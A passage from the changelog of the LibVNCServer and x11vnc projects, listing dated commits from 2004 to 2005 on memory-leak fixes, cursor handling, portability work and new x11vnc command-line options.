examples/pnmshow24.c, examples/radon.h, examples/storepasswd.c, examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/vncviewer.c, libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, libvncserver/private.h, libvncserver/rfbregion.c, libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/selbox.c, libvncserver/sockets.c, libvncserver/tight.c, libvncserver/translate.c, libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, rfb/default8x16.h, rfb/rfb.h, rfb/rfbproto.h, test/copyrecttest.c, test/cursortest.c, test/encodingstest.c, vncterm/VNCommand.c, vncterm/VNConsole.c: ANSIfy, fix some warnings from Linus' sparse 2005-05-15 runge * libvncserver/main.c, libvncserver/rfbserver.c: libvncserver/{main.c,rfbserver.c}: fix a couple more CopyRect memory leaks 2005-05-14 dscho * .cvsignore, examples/.cvsignore, test/.cvsignore, x11vnc/misc/.cvsignore: more files to ignore 2005-05-14 dscho * ChangeLog, examples/example.c, libvncserver/main.c, libvncserver/rfbserver.c: fix memory leaks detected using valgrind 2005-05-14 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to -scrollcopyrect and -xkb modes. 2005-05-07 dscho * ChangeLog, VisualNaCro/nacro.c, VisualNaCro/nacro.h, examples/example.c, examples/fontsel.c, libvncserver/httpd.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h, test/cursortest.c, vncterm/LinuxVNC.c, vncterm/VNConsole.c, x11vnc/x11vnc.c: socketInitDone -> socketState 2005-05-03 runge * ChangeLog, configure.ac, libvncserver/main.c: libvncserver/main.c: fix memory leak in rfbDoCopyRect/rfbScheduleCopyRect; configure.ac tweaks. 2005-05-03 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -scrollcopyrect/RECORD, etc. configure.ac: customizations for x11vnc pkg 2005-04-27 dscho * ChangeLog, libvncserver/rfbserver.c: clear requested region after handling it 2005-04-19 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -wireframe, -wirecopyrect, -privremote, -safer, -nocmd, -unsafe, -noviewonly 2005-04-12 runge * x11vnc/ChangeLog, x11vnc/misc/Makefile.am, x11vnc/misc/ranfb.pl: x11vnc: add rawfb setup example misc/ranfb.pl 2005-04-11 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/slide.pl, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: fix some -rawfb bugs, add setup:cmd 2005-04-10 runge * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/blockdpy.c, x11vnc/misc/dtVncPopup, x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, x11vnc/misc/slide.pl, x11vnc/misc/vcinject.pl, x11vnc/misc/x11vnc_loop, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -rawfb, -pipeinput, -xtrap, -flag, ... 2005-04-04 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: use DEC-XTRAP on legacy X11R5, -shiftcmap, -http 2005-03-29 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: fix event leaks, build-time customizations, -nolookup 2005-03-20 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: scale cursors, speed up some scaling, alt arrows, -norepeat N 2005-03-12 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: X DAMAGE support, -clip WxH+X+Y, identd. 2005-03-09 dscho * test/encodingstest.c: fix compilation when no libz is available 2005-03-07 dscho * configure.ac, rfb/rfbproto.h: do the in_addr_t stuff correctly... 2005-03-07 dscho * configure.ac: check for in_addr_t 2005-03-06 dscho * client_examples/SDLvncviewer.c: fix for older SDL versions 2005-03-05 runge * ChangeLog, Makefile.am, configure.ac, libvncserver/Makefile.am: autoconf: rpm -> rpmbuild and echo -n -> printf 2005-03-05 runge * ChangeLog, libvncclient/sockets.c, libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: add '-listen ipaddr' option 2005-03-01 dscho * client_examples/ppmtest.c: do not crash when /tmp is not writable 2005-02-23 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: final changes for 0.7.1 release. 2005-02-22 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -nap is now the default, version str 0.7.1. 2005-02-14 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -users lurk=, -solid for cde, -gui ez,.. beginner mode. 2005-02-11 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -input to fine tune allow user input. per-client settings -R 2005-02-09 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -users, fix -solid on gnome/kde, configure.ac pwd.h wait.h and utmpx.h 2005-02-07 runge * ChangeLog, prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: few tweaks for next release 2005-02-07 runge * ChangeLog, configure.ac: configure.ac: --with-jpeg=DIR --with-zlib=DIR, /usr/sfw 2005-02-05 runge * ChangeLog, tightvnc-1.3dev5-vncviewer-alpha-cursor.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc -solid color, -opts; tightvnc unix viewer alpha patch 2005-01-25 dscho * TODO, libvncserver/rfbserver.c: 10l: really fix preferredEncoding set from outside 2005-01-24 runge * x11vnc/x11vnc.c: whoops, test version of x11vnc.c leaked out... 2005-01-24 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: sync with new cursor mechanism, -timeout, -noalphablend, try :0 if no other info 2005-01-23 dscho * test/cursortest.c: test Floyd-Steinberg dither for alpha masks 2005-01-21 dscho * TODO, libvncserver/cursor.c, rfb/rfb.h: implemented Floyd-Steinberg dither in order to rfbMakeMaskFromAlphaSource 2005-01-21 dscho * VisualNaCro/recorder.pl: use Getopt 2005-01-21 dscho * libvncclient/vncviewer.c: if no argc & argv are passed, honour the serverHost&serverPort which was set by the application 2005-01-20 dscho * test/cursortest.c: no need to strdup for MakeXCursor 2005-01-20 dscho * ChangeLog, libvncserver/cursor.c: disappearing cursor fixed & debug message purged 2005-01-20 dscho * libvncserver/cursor.c, libvncserver/main.c, libvncserver/rfbserver.c: fix disappearing cursor 2005-01-19 dscho * libvncserver/cursor.c: redraw region under old cursor even if the old cursor doesn't have to be freed. 2005-01-19 dscho * TODO: a granted wish has several children ;-) 2005-01-19 dscho * test/encodingstest.c: fix test (don't show cursor...); correctly set the encodings in the client; really test 20 seconds 2005-01-19 dscho * libvncserver/cursor.c: oops, a debug message slipped through 2005-01-18 dscho * ChangeLog, contrib/zippy.c, examples/example.c, libvncserver/cursor.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/selbox.c, rfb/rfb.h, vncterm/VNConsole.c, x11vnc/x11vnc.c: pointerClient was still static. do not make requestedRegion empty without reason. the cursor handling for clients which don't handle CursorShape updates was completely broken. It originally was very complicated for performance reasons, however, in most cases it made performance even worse, because at idle times there was way too much checking going on, and furthermore, sometimes unnecessary updates were inevitable. The code now is much more elegant: the ClientRec structure knows exactly where it last painted the cursor, and the ScreenInfo structure knows where the cursor shall be. As a consequence there is no more rfbDrawCursor()/rfbUndrawCursor(), no more dontSendFramebufferUpdate, and no more isCursorDrawn. It is now possible to have clients which understand CursorShape updates and clients which don't at the same time. rfbSetCursor no longer has the option freeOld; this is obsolete, as the cursor structure knows what to free and what not. 2005-01-18 dscho * libvncserver/rfbregion.c, rfb/rfbregion.h: add convenience function to clip using x2,y2 instead of w,h 2005-01-18 dscho * test/Makefile.am, test/cursortest.c: add a cursor test (interactive for now) 2005-01-18 dscho * VisualNaCro/.cvsignore: more ignorance 2005-01-17 dscho * index.html: LibVNCClient is included 2005-01-17 dscho * index.html: alpha cursor and VisualNaCro news 2005-01-16 dscho * VisualNaCro/.cvsignore: ignore generated files 2005-01-16 runge * ChangeLog, libvncserver/cursor.c, rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: add cursor alphablending to rfb.h cursor.c, x11vnc -alphablend -snapfb etc.. 2005-01-14 dscho * VisualNaCro/Makefile.am, VisualNaCro/default8x16.h, VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: fix most TODOs; recorder.pl now actually records something; add nacro.pm to package 2005-01-14 dscho * examples/example.c: reverted segfault fix; use rfbDrawCharWithClip 2005-01-14 dscho * libvncserver/font.c: add comment "if col=bcol, assume background is transparent" 2005-01-14 dscho * libvncserver/main.c: fix comment 2005-01-14 dscho * libvncserver/rfbserver.c: close socket in ClientConnectionGone 2005-01-14 dscho * configure.ac: new version... 2005-01-14 dscho * VisualNaCro/AUTHORS, VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README, VisualNaCro/autogen.sh, VisualNaCro/configure.ac, VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNacro, a visual macro recorder for VNC. Alpha version 2005-01-14 dscho * libvncserver/main.c, rfb/rfb.h: return value of rfbProcessEvents tells if an update was pending 2005-01-14 dscho * libvncserver/font.c: fix segfault when trying to write outside of frameBuffer 2005-01-14 dscho * libvncclient/vncviewer.c: argc and argv may be zero (which means to ignore them) 2005-01-03 dscho * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: add hook to allow for custom client messages 2004-12-27 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: improve XFIXES cursor transparency, more remote-control cmds. 2004-12-23 runge * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 2004-12-23 runge * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 2004-12-23 runge * x11vnc/Makefile.am: x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package 2004-12-23 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: minor tweaks for x11vnc 0.7 file release 2004-12-20 dscho * index.html: Ooh, I'm lazy. Some news were added retroactively. 2004-12-20 dscho * ChangeLog, configure.ac, index.html: released 0.7 2004-12-20 dscho * examples/mac.c: compile fix on mac; still untested... 2004-12-20 dscho * test/Makefile.am: fix for MinGW 2004-12-20 runge * x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: minor tweaks for 0.7 file release 2004-12-20 runge * ChangeLog, libvncserver/cursor.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: synchronous mode for -remote, string cleanup 2004-12-17 dscho * libvncserver/cursor.c: don't mix up width & height! 2004-12-17 runge * ChangeLog, test/encodingstest.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: XFIXES cursorshape, XRANDR resize, remote control, gui 2004-12-01 dscho * rfb/rfb.h: fix compilation on non MinGW32... 2004-12-01 dscho * ChangeLog, TODO, client_examples/Makefile.am, client_examples/SDLvncviewer.c, configure.ac, contrib/Makefile.am, examples/Makefile.am, examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/vncviewer.c, libvncserver-config.in, libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: support MinGW32! 2004-12-01 dscho * AUTHORS, libvncclient/listen.c, libvncclient/sockets.c, libvncclient/vncviewer.c: use rfbClientErr to log errors, check if calloc succeded (both hinted by Andre Leiradella) 2004-11-30 dscho * ChangeLog, libvncclient/sockets.c: fix long reads (in some events of success, no TRUE was returned) 2004-11-30 dscho * rfb/rfbproto.h: add EncodingUltra; it is not implemented in the libraries yet, so this is just a place holder 2004-10-16 dscho * TODO: TODOs from encodingstest 2004-10-16 dscho * test/.cvsignore: tight-1 -> encodingstest 2004-10-16 dscho * test/Makefile.am, test/encodingstest.c, test/tight-1.c: rename tight-1.c into encodingstest.c, fixing it in the process. It now passes all encodings except corre (broken) and zrle (not yet implemented in libvncclient) 2004-10-16 dscho * libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/tight.c, libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: move read buffer to rfbClient structure (thread safety); make rfbClientLog overrideable 2004-10-15 dscho * test/tight-1.c: compiles, 1st run is okay, 2nd and subsequent give errors. Evidently, libvncclient is not yet reentrant (or threadsafe). 2004-10-15 dscho * libvncclient/vncviewer.c: no need to modify argv 2004-10-15 dscho * TODO: ideas 2004-10-15 dscho * test/tight-1.c: compiling, non functional version of a unit test for encodings 2004-10-04 dscho * TODO: cursor problem 2004-10-02 dscho * libvncserver/rfbserver.c: release client list mutex earlier 2004-09-14 dscho * index.html, success.html: added success stories and link to x11vnc's home 2004-09-14 dscho * success.html: add success stories (only one at the moment) 2004-09-07 dscho * index.html: new API 2004-09-03 dscho * libvncserver/rfbregion.c: output only via rfbErr 2004-09-03 dscho * libvncserver-config.in: libvncserver.a is in libvncserver/ now 2004-09-01 runge * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: new pointer input handling algorithm; x11vnc pkg installs java viewer 2004-08-30 dscho * ChangeLog: API changes 2004-08-30 dscho * contrib/zippy.c, examples/colourmaptest.c, examples/example.c, examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, libvncclient/rfbproto.c, libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/selbox.c, libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c, libvncserver/translate.c, libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h, rfb/rfbproto.h, test/cargstest.c, test/copyrecttest.c, vncterm/LinuxVNC.c, vncterm/VNConsole.c, vncterm/VNConsole.h, x11vnc/x11vnc.c: global structures/functions should have "rfb", "sra" or "zrle" as prefix, while structure members should not 2004-08-30 dscho * client_examples/Makefile.am: my ffmpeg was compiled with mp3lame... 2004-08-30 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -cursor change shape handling, configure.ac: add more macros for X extensions 2004-08-17 dscho * index.html: news: QEMU patch v6 2004-08-15 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -overlay to fix colors with Sun 8+24 overlay visuals. -sid option. 2004-08-04 runge * x11vnc/README, x11vnc/x11vnc.1: fix XKBlib.h detection on *BSD, x11vnc: manpage and README 2004-08-04 runge * ChangeLog, configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c: fix XKBlib.h detection on *BSD, x11vnc: manpage and README 2004-07-31 runge * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: adjust version number and output 2004-07-31 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -cursorpos now the default, fix cursorpos + scaling bug. 2004-07-29 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -add_keysyms dynamically add missing keysyms to X server 2004-07-27 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -xkb (XKEYBOARD modtweak), -skip_keycodes, multi lines in x11vncrc 2004-07-19 runge * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: ignore keysyms >4 for a keycode, add lastmod to -help, -version 2004-07-16 runge * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/x11vnc.c: modtweak is now the default for x11vnc; check X11/XKBlib.h in configure.ac 2004-07-11 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -norepeat to turn off X server autorepeat when clients exist. 2004-07-05 runge * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: extend -allow to re-read a file with allowed IP addresses. 2004-07-02 runge * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: improve scaled grid calc to regain text compression. add :pad option 2004-06-30 dscho * libvncclient/vncviewer.c: do not use GNU-only getline 2004-06-28 runge * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: round scaled width to multiple of 4 to make vncviewer happy. 2004-06-27 runge * x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: speed up scaling a bit, add no blending option to -scale 2004-06-26 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: add "-scale fraction" for global server-side scaling. 2004-06-18 dscho * libvncserver/zrleencodetemplate.c, test/tight-1.c, vncterm/LinuxVNC.c, vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/example.c: convert c++ comments to c comments 2004-06-18 dscho * libvncserver/sockets.c: debug 2004-06-18 dscho * client_examples/SDLvncviewer.c: cleanups; libvncclient supports -encodings already 2004-06-18 dscho * client_examples/vnc2mpg.c: cleanups; support vncrec'orded files as input 2004-06-18 dscho * examples/example.c, examples/pnmshow.c, examples/pnmshow24.c: now that the examples reside in a subdirectory, the classes path has to be adapted 2004-06-18 dscho * rfb/rfbclient.h: more comments; support playing vncrec'orded files 2004-06-18 dscho * libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/vncviewer.c: support password reading with getpass(); support -play to play vncrec'orded files 2004-06-17 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: simple ~/.x11vncrc config file support, -rc, -norc 2004-06-15 dscho * TODO: fixed 2004-06-15 dscho * libvncclient/hextile.c: fix silly hextile bug 2004-06-15 dscho * libvncclient/rfbproto.c: recognize more encodings 2004-06-15 dscho * libvncclient/sockets.c: debug 2004-06-15 dscho * libvncserver/rfbserver.c: fix CoRRE with maxRectsPerUpdate bug 2004-06-15 dscho * libvncclient/rfbproto.c: fix silly update bug with raw encoding 2004-06-12 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: -clear_mods -clear_keys -storepasswd, add RFB_SERVER_IP RFB_SERVER_PORT to -accept/-gone 2004-06-08 dscho * client_examples/Makefile.am, configure.ac: fix compilation on IRIX 2004-06-08 dscho * configure.ac: fix test for sdl 2004-06-08 dscho * client_examples/SDLvncviewer.c: fix compilation on MacOSX 2004-06-07 dscho * index.html: layout and wording fix 2004-06-07 dscho * index.html: more news 2004-06-07 dscho * .cvsignore, prepare_x11vnc_dist.sh: now that it is released, increment x11vnc's version 2004-06-07 dscho * .cvsignore, client_examples/.cvsignore, libvncclient/.cvsignore, libvncserver/.cvsignore, test/.cvsignore, x11vnc/.cvsignore: all this moving and renaming needs changes in the cvsignores, too! 2004-06-07 dscho * LibVNCServer.spec.in, Makefile.am, libvncserver.spec.in, prepare_x11vnc_dist.sh: fix bug 968264: make rpm did not work with x11vnc package 2004-06-07 dscho * client_examples/Makefile.am, client_examples/vnc2mpg.c, configure.ac: add vnc2mpg, a program which makes a movie from a VNC desktop using FFMPEG 2004-06-07 dscho * TODO, client_examples/SDLvncviewer.c: added -encodings 2004-06-07 dscho * ChangeLog, TODO, libvncserver/cursor.c, rfb/rfb.h: fix cursor trails (when not using cursor encoding and moving the cursor, the redrawn part of the screen didn't get updated, and so left cursor trails). 2004-06-07 dscho * client_examples/SDLvncviewer.c: add mouse button handling 2004-06-07 dscho * ChangeLog, Makefile.am, TODO, client_examples/Makefile.am, client_examples/SDLvncviewer.c, client_examples/ppmtest.c, configure.ac, contrib/Makefile.am, examples/Makefile.am, examples/blooptest.c, examples/copyrecttest.c, libvncclient/Makefile.am, libvncclient/client_test.c, libvncclient/sockets.c, libvncclient/vncviewer.c, libvncserver/Makefile.am, prepare_x11vnc_dist.sh, rfb/rfbclient.h, test/Makefile.am, test/blooptest.c, test/copyrecttest.c, test/tight-1.c, x11vnc/Makefile.am: add client_examples/, add SDLvncviewer, libvncclient API changes, suppress automake CFLAGS nagging 2004-06-06 runge * ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: rearrange file for easier maintenance, add RFB_CLIENT_COUNT to -accept/-gone 2004-05-28 runge * x11vnc/x11vnc.c: [no log message] 2004-05-27 runge * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/x11vnc.c: x11vnc: view-only plain passwd: -viewpasswd and 2nd line of -passwdfile 2004-05-25 dscho * prepare_x11vnc_dist.sh: a script which automatically converts a few files to make an x11vnc release 2004-05-25 dscho * configure.ac: -lvncserver is not default now 2004-05-25 dscho * ChangeLog, Makefile.am, auth.c, cargs.c, configure.ac, contrib/ChangeLog, contrib/Makefile.am, contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, d3des.c, d3des.h, draw.c, examples/Makefile.am, examples/regiontest.c, font.c, hextile.c, httpd.c, libvncclient/rfbproto.c, libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/cargs.c, libvncserver/config.h, libvncserver/corre.c, libvncserver/cursor.c, libvncserver/cutpaste.c, libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/draw.c, libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, libvncserver/rfbconfig.h, libvncserver/rfbregion.c, libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/selbox.c, libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tableinit24.c, libvncserver/tableinitcmtemplate.c, libvncserver/tableinittctemplate.c, libvncserver/tabletrans24template.c, libvncserver/tabletranstemplate.c, libvncserver/tight.c, libvncserver/translate.c, libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, libvncserver/zrleoutstream.h, libvncserver/zrlepalettehelper.c, libvncserver/zrlepalettehelper.h, libvncserver/zrletypes.h, main.c, rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c, tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, tabletrans24template.c, tabletranstemplate.c, test/Makefile.am, tight.c, translate.c, vncauth.c, vncterm/Makefile.am, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c, zlib.c, zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: move the library into libvncserver/, x11vnc into x11vnc/ 2004-05-22 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c, httpd.c: x11vnc: -gone, -passwdfile, -o logfile; add view-only to -accept 2004-05-14 runge * contrib/x11vnc.c: x11vnc: more -inetd fixes. 2004-05-14 runge * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: less fprintf under -q so '-q -inetd' has no stderr output. 2004-05-13 runge * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: improvements to -accept popup: yes/no buttons and timeout. 2004-05-08 runge * contrib/ChangeLog, contrib/x11vnc.c: x11vnc: clean up -Wall warnings. 2004-05-08 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -accept some-command/xmessage/popup 2004-05-06 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: mouse -> keystroke and keystroke -> mouse remappings. 2004-05-05 dscho * rfbserver.c, sockets.c: prevent segmentation fault when requested area is too big; if select is interrupted while WriteExact, just try again. 2004-04-28 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -auth, more -cursorpos and -nofb work 2004-04-20 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: add -cursorpos for Cursor Position Updates, and -sigpipe 2004-04-19 dscho * main.c: ignore SIGPIPE the correct way 2004-04-13 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc: do not send selection unless all clients are in RFB_NORMAL state. increase rfbMaxClientWait when threaded to avoid ReadExact() timeouts for some viewers. 2004-04-12 dscho * configure.ac: fix compilation without jpeg and a certain autoconf version 2004-04-08 runge * ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -blackout, -xinerama, -xwarppointer. check cargs. modify configure.ac to pick up -lXinerama 2004-03-24 dscho * examples/pnmshow.c: add support for pgm and pbm (8-bit and 1-bit grayscale images) 2004-03-22 dscho * ChangeLog, cargs.c, test/Makefile.am, test/cargstest.c: fix cargs.c: arguments were not correctly purged. 2004-03-15 dscho * ChangeLog, libvncserver-config.in: fix --link for libvncserver-config 2004-03-11 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -vncconnect, -connect, -remap, -debug_pointer, and -debug_keyboard add reverse connections, keysym remapping, and debug output option 2004-02-29 dscho * index.html: link to pre.tar.gz, mention valgrind 2004-02-29 dscho * index.html: update on news 2004-02-29 dscho * ChangeLog, rfbregion.c: fixed valgrind warning 2004-02-20 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: x11vnc options -nosel -noprimary -visual. add clipboard/selection handling. add visual option (mostly for testing and workarounds). improve shm cleanup on failures. 2004-02-04 dscho * AUTHORS, ChangeLog, examples/colourmaptest.c, examples/copyrecttest.c, examples/example.c, examples/simple.c, examples/simple15.c, examples/vncev.c: make examples g++ compileable, thanks to Juan Jose Costello 2004-01-30 dscho * ChangeLog, rfbserver.c: memory leaks fixed 2004-01-29 dscho * ChangeLog, Makefile.am, configure.ac, tight.c, zlib.c, zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, zrlepalettehelper.c, zrlepalettehelper.h: Honour the check for libz, libjpeg again 2004-01-21 dscho * ChangeLog, cargs.c, main.c, rfb/rfb.h, rfbserver.c: add "-progressive height" option to make SendFramebufferUpdate "preemptive" 2004-01-21 dscho * ChangeLog: update 2004-01-21 dscho * examples/.cvsignore: ignore all test programs 2004-01-21 dscho * examples/Makefile.am, examples/copyrecttest.c: add a simple example how to use rfbDoCopyRect 2004-01-21 dscho * main.c, rfb/rfb.h: ignore SIGPIPE by default; it is handled via EPIPE 2004-01-21 dscho * cursor.c: do not send unnecessary updated because of cursor drawing 2004-01-19 runge * ChangeLog, contrib/ChangeLog, contrib/x11vnc.c: handle mouse button number mismatch improved pointer input handling during drags, etc. somewhat faster copy_tiles() -> copy_tiles() x11vnc options -buttonmap -old_pointer -old_copytile 2004-01-19 dscho * configure.ac: 0.6 is out... version is 0.7pre now 2004-01-19 dscho * vncterm/Makefile.am: inherit CFLAGS 2004-01-19 dscho * vncterm/VNConsole.c: fix usage of non-existent attribute buffer 2004-01-16 dscho * ChangeLog, cargs.c, configure.ac, contrib/Makefile.am, 